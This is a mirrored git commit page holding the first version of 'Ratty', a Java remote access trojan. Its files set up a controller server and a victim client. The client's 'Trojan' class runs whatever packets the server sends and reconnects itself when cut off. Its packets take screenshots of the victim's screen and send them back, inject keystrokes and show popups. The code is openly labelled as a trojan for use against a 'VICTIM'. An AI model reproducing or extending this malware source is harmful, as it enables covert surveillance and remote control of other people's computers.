mirror of https://github.com/LucaBongiorni/Ratty
Sogomn
9 years ago
commit
c8824c995e
11 changed files with 496 additions and 0 deletions
-
1Ratty/.gitignore
-
87Ratty/src/de/sogomn/rat/ActiveClient.java
-
92Ratty/src/de/sogomn/rat/ActiveServer.java
-
9Ratty/src/de/sogomn/rat/IClientObserver.java
-
13Ratty/src/de/sogomn/rat/IPacket.java
-
52Ratty/src/de/sogomn/rat/KeyEventPacket.java
-
45Ratty/src/de/sogomn/rat/PacketType.java
-
38Ratty/src/de/sogomn/rat/PopupPacket.java
-
48Ratty/src/de/sogomn/rat/Ratty.java
-
87Ratty/src/de/sogomn/rat/ScreenshotPacket.java
-
24Ratty/src/de/sogomn/rat/Trojan.java
@ -0,0 +1 @@ |
|||
/bin/ |
@ -0,0 +1,87 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.net.Socket; |
|||
|
|||
import de.sogomn.engine.net.TCPConnection; |
|||
|
|||
|
|||
public final class ActiveClient extends TCPConnection { |
|||
|
|||
private Thread thread; |
|||
|
|||
private IClientObserver observer; |
|||
|
|||
public ActiveClient(final String address, final int port) { |
|||
super(address, port); |
|||
} |
|||
|
|||
public ActiveClient(final Socket socket) { |
|||
super(socket); |
|||
} |
|||
|
|||
@Override |
|||
public void close() { |
|||
super.close(); |
|||
|
|||
if (thread != null) { |
|||
thread.interrupt(); |
|||
thread = null; |
|||
} |
|||
|
|||
if (observer != null) { |
|||
observer.disconnected(this); |
|||
} |
|||
} |
|||
|
|||
public void start() { |
|||
final Runnable runnable = () -> { |
|||
while (isOpen()) { |
|||
final IPacket packet = readPacket(); |
|||
|
|||
if (observer != null && packet != null) { |
|||
observer.packetReceived(this, packet); |
|||
} |
|||
} |
|||
}; |
|||
|
|||
thread = new Thread(runnable); |
|||
|
|||
thread.start(); |
|||
} |
|||
|
|||
public void sendPacket(final IPacket packet) { |
|||
final byte id = PacketType.getId(packet.getClass()); |
|||
|
|||
if (id != 0) { |
|||
writeByte(id); |
|||
packet.send(this); |
|||
} |
|||
} |
|||
|
|||
public IPacket readPacket() { |
|||
final byte id = readByte(); |
|||
|
|||
if (id == 0) { |
|||
return null; |
|||
} |
|||
|
|||
final Class<? extends IPacket> packetClass = PacketType.getClass(id); |
|||
|
|||
try { |
|||
final IPacket packet = packetClass.newInstance(); |
|||
|
|||
packet.receive(this); |
|||
|
|||
return packet; |
|||
} catch (final InstantiationException | IllegalAccessException ex) { |
|||
ex.printStackTrace(); |
|||
|
|||
return null; |
|||
} |
|||
} |
|||
|
|||
public void setObserver(final IClientObserver observer) { |
|||
this.observer = observer; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,92 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.net.Socket; |
|||
import java.util.ArrayList; |
|||
|
|||
import de.sogomn.engine.net.TCPServer; |
|||
|
|||
public final class ActiveServer extends TCPServer implements IClientObserver { |
|||
|
|||
private Thread thread; |
|||
|
|||
private ArrayList<ActiveClient> clients; |
|||
|
|||
public ActiveServer(final int port) { |
|||
super(port); |
|||
|
|||
clients = new ArrayList<ActiveClient>(); |
|||
} |
|||
|
|||
private ActiveClient acceptClient() { |
|||
final Socket socket = acceptConnection(); |
|||
|
|||
if (socket == null) { |
|||
return null; |
|||
} |
|||
|
|||
final ActiveClient client = new ActiveClient(socket); |
|||
|
|||
return client; |
|||
} |
|||
|
|||
@Override |
|||
public void close() { |
|||
super.close(); |
|||
|
|||
if (thread != null) { |
|||
thread.interrupt(); |
|||
thread = null; |
|||
} |
|||
|
|||
clients.forEach(client -> { |
|||
client.setObserver(null); |
|||
client.close(); |
|||
}); |
|||
clients.clear(); |
|||
} |
|||
|
|||
@Override |
|||
public void packetReceived(final ActiveClient client, final IPacket packet) { |
|||
packet.execute(); |
|||
} |
|||
|
|||
@Override |
|||
public void disconnected(final ActiveClient client) { |
|||
removeClient(client); |
|||
} |
|||
|
|||
public void start() { |
|||
final Runnable runnable = () -> { |
|||
while (isOpen()) { |
|||
final ActiveClient client = acceptClient(); |
|||
|
|||
if (client != null) { |
|||
addClient(client); |
|||
} |
|||
} |
|||
}; |
|||
|
|||
thread = new Thread(runnable); |
|||
|
|||
thread.start(); |
|||
} |
|||
|
|||
public void broadcast(final IPacket packet) { |
|||
clients.forEach(client -> { |
|||
client.sendPacket(packet); |
|||
}); |
|||
} |
|||
|
|||
public void addClient(final ActiveClient client) { |
|||
client.setObserver(this); |
|||
clients.add(client); |
|||
client.start(); |
|||
} |
|||
|
|||
public void removeClient(final ActiveClient client) { |
|||
client.setObserver(null); |
|||
client.close(); |
|||
clients.remove(client); |
|||
} |
|||
|
|||
} |
@ -0,0 +1,9 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
public interface IClientObserver { |
|||
|
|||
void packetReceived(final ActiveClient client, final IPacket packet); |
|||
|
|||
void disconnected(final ActiveClient client); |
|||
|
|||
} |
@ -0,0 +1,13 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
|
|||
|
|||
public interface IPacket { |
|||
|
|||
public abstract void send(final ActiveClient client); |
|||
|
|||
public abstract void receive(final ActiveClient client); |
|||
|
|||
public abstract void execute(); |
|||
|
|||
} |
@ -0,0 +1,52 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.awt.AWTException; |
|||
import java.awt.Robot; |
|||
import java.awt.event.KeyEvent; |
|||
|
|||
public final class KeyEventPacket implements IPacket { |
|||
|
|||
private int key; |
|||
private boolean flag; |
|||
|
|||
public KeyEventPacket() { |
|||
key = KeyEvent.VK_UNDEFINED; |
|||
} |
|||
|
|||
public KeyEventPacket(final int key, final boolean flag) { |
|||
this.key = key; |
|||
this.flag = flag; |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
final byte flagByte = (byte)(flag ? 1 : 0); |
|||
|
|||
client.writeInt(key); |
|||
client.writeByte(flagByte); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
key = client.readInt(); |
|||
flag = client.readByte() == 1; |
|||
} |
|||
|
|||
@Override |
|||
public void execute() { |
|||
try { |
|||
final Robot rob = new Robot(); |
|||
|
|||
if (flag) { |
|||
rob.keyPress(key); |
|||
} else { |
|||
rob.keyRelease(key); |
|||
} |
|||
} catch (final IllegalArgumentException ex) { |
|||
System.err.println("No valid key code"); |
|||
} catch (final AWTException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
} |
@ -0,0 +1,45 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
public enum PacketType { |
|||
|
|||
POPUP(1, PopupPacket.class), |
|||
SCREENSHOT(2, ScreenshotPacket.class), |
|||
KEY_EVENT(3, KeyEventPacket.class); |
|||
|
|||
private final byte id; |
|||
private final Class<? extends IPacket> clazz; |
|||
|
|||
PacketType(final byte id, final Class<? extends IPacket> clazz) { |
|||
this.id = id; |
|||
this.clazz = clazz; |
|||
} |
|||
|
|||
PacketType(final int id, final Class<? extends IPacket> clazz) { |
|||
this((byte)id, clazz); |
|||
} |
|||
|
|||
public static Class<? extends IPacket> getClass(final byte id) { |
|||
final PacketType[] values = values(); |
|||
|
|||
for (final PacketType type : values) { |
|||
if (type.id == id) { |
|||
return type.clazz; |
|||
} |
|||
} |
|||
|
|||
return null; |
|||
} |
|||
|
|||
public static byte getId(final Class<? extends IPacket> clazz) { |
|||
final PacketType[] values = values(); |
|||
|
|||
for (final PacketType type : values) { |
|||
if (type.clazz == clazz) { |
|||
return type.id; |
|||
} |
|||
} |
|||
|
|||
return 0; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,38 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import javax.swing.JOptionPane; |
|||
|
|||
|
|||
|
|||
public final class PopupPacket implements IPacket { |
|||
|
|||
private String message; |
|||
|
|||
public PopupPacket(final String message) { |
|||
this.message = message; |
|||
} |
|||
|
|||
public PopupPacket() { |
|||
this(""); |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
client.writeUTF(message); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
message = client.readUTF(); |
|||
} |
|||
|
|||
@Override |
|||
public void execute() { |
|||
JOptionPane.showMessageDialog(null, message); |
|||
} |
|||
|
|||
public String getMessage() { |
|||
return message; |
|||
} |
|||
|
|||
} |
@ -0,0 +1,48 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.awt.event.KeyEvent; |
|||
|
|||
|
|||
public final class Ratty { |
|||
|
|||
public static final boolean VICTIM = false; |
|||
|
|||
private Ratty() { |
|||
//... |
|||
} |
|||
|
|||
public static void connectToHost(final String address, final int port) { |
|||
final ActiveClient newClient = new ActiveClient(address, port); |
|||
final Trojan trojan = new Trojan(); |
|||
|
|||
if (!newClient.isOpen()) { |
|||
connectToHost(address, port); |
|||
|
|||
return; |
|||
} |
|||
|
|||
newClient.setObserver(trojan); |
|||
newClient.start(); |
|||
newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, true)); |
|||
newClient.sendPacket(new KeyEventPacket(KeyEvent.VK_W, false)); |
|||
} |
|||
|
|||
public static void startServer(final int port) { |
|||
final ActiveServer server = new ActiveServer(port); |
|||
|
|||
server.start(); |
|||
} |
|||
|
|||
public static void main(final String[] args) { |
|||
if (VICTIM) { |
|||
connectToHost("localhost", 23456); |
|||
|
|||
System.out.println("Client started"); |
|||
} else { |
|||
startServer(23456); |
|||
|
|||
System.out.println("Server started"); |
|||
} |
|||
} |
|||
|
|||
} |
@ -0,0 +1,87 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
import java.awt.AWTException; |
|||
import java.awt.Rectangle; |
|||
import java.awt.Robot; |
|||
import java.awt.image.BufferedImage; |
|||
import java.io.ByteArrayInputStream; |
|||
import java.io.ByteArrayOutputStream; |
|||
import java.io.IOException; |
|||
|
|||
import javax.imageio.ImageIO; |
|||
|
|||
import de.sogomn.engine.Screen; |
|||
import de.sogomn.engine.Screen.ResizeBehavior; |
|||
|
|||
public final class ScreenshotPacket implements IPacket { |
|||
|
|||
private BufferedImage image; |
|||
|
|||
private static final BufferedImage NO_IMAGE = new BufferedImage(100, 100, BufferedImage.TYPE_INT_RGB); |
|||
|
|||
public ScreenshotPacket() { |
|||
image = NO_IMAGE; |
|||
} |
|||
|
|||
public ScreenshotPacket(final int x, final int y, final int width, final int height) { |
|||
try { |
|||
final Robot robot = new Robot(); |
|||
|
|||
image = robot.createScreenCapture(new Rectangle(x, y, width, height)); |
|||
} catch (final AWTException ex) { |
|||
image = NO_IMAGE; |
|||
|
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void send(final ActiveClient client) { |
|||
final ByteArrayOutputStream out = new ByteArrayOutputStream(); |
|||
|
|||
try { |
|||
ImageIO.write(image, "JPG", out); |
|||
} catch (final IOException ex) { |
|||
ex.printStackTrace(); |
|||
} |
|||
|
|||
final byte[] data = out.toByteArray(); |
|||
|
|||
client.writeInt(data.length); |
|||
client.write(data); |
|||
} |
|||
|
|||
@Override |
|||
public void receive(final ActiveClient client) { |
|||
final int length = client.readInt(); |
|||
final byte[] data = new byte[length]; |
|||
|
|||
client.read(data); |
|||
|
|||
final ByteArrayInputStream in = new ByteArrayInputStream(data); |
|||
|
|||
try { |
|||
image = ImageIO.read(in); |
|||
} catch (final IOException ex) { |
|||
image = NO_IMAGE; |
|||
|
|||
ex.printStackTrace(); |
|||
} |
|||
} |
|||
|
|||
@Override |
|||
public void execute() { |
|||
final int width = image.getWidth(); |
|||
final int height = image.getHeight(); |
|||
|
|||
final Screen screen = new Screen(width, height); |
|||
|
|||
screen.addListener(g -> { |
|||
g.drawImage(image, 0, 0, width, height, null); |
|||
}); |
|||
screen.setResizeBehavior(ResizeBehavior.KEEP_ASPECT_RATIO); |
|||
screen.show(); |
|||
screen.redraw(); |
|||
} |
|||
|
|||
} |
@ -0,0 +1,24 @@ |
|||
package de.sogomn.rat; |
|||
|
|||
public final class Trojan implements IClientObserver { |
|||
|
|||
public Trojan() { |
|||
//... |
|||
} |
|||
|
|||
@Override |
|||
public void packetReceived(final ActiveClient client, final IPacket packet) { |
|||
packet.execute(); |
|||
} |
|||
|
|||
@Override |
|||
public void disconnected(final ActiveClient client) { |
|||
final String address = client.getAddress(); |
|||
final int port = client.getPort(); |
|||
|
|||
client.setObserver(null); |
|||
|
|||
Ratty.connectToHost(address, port); |
|||
} |
|||
|
|||
} |
Write
Preview
Loading…
Cancel
Save
Reference in new issue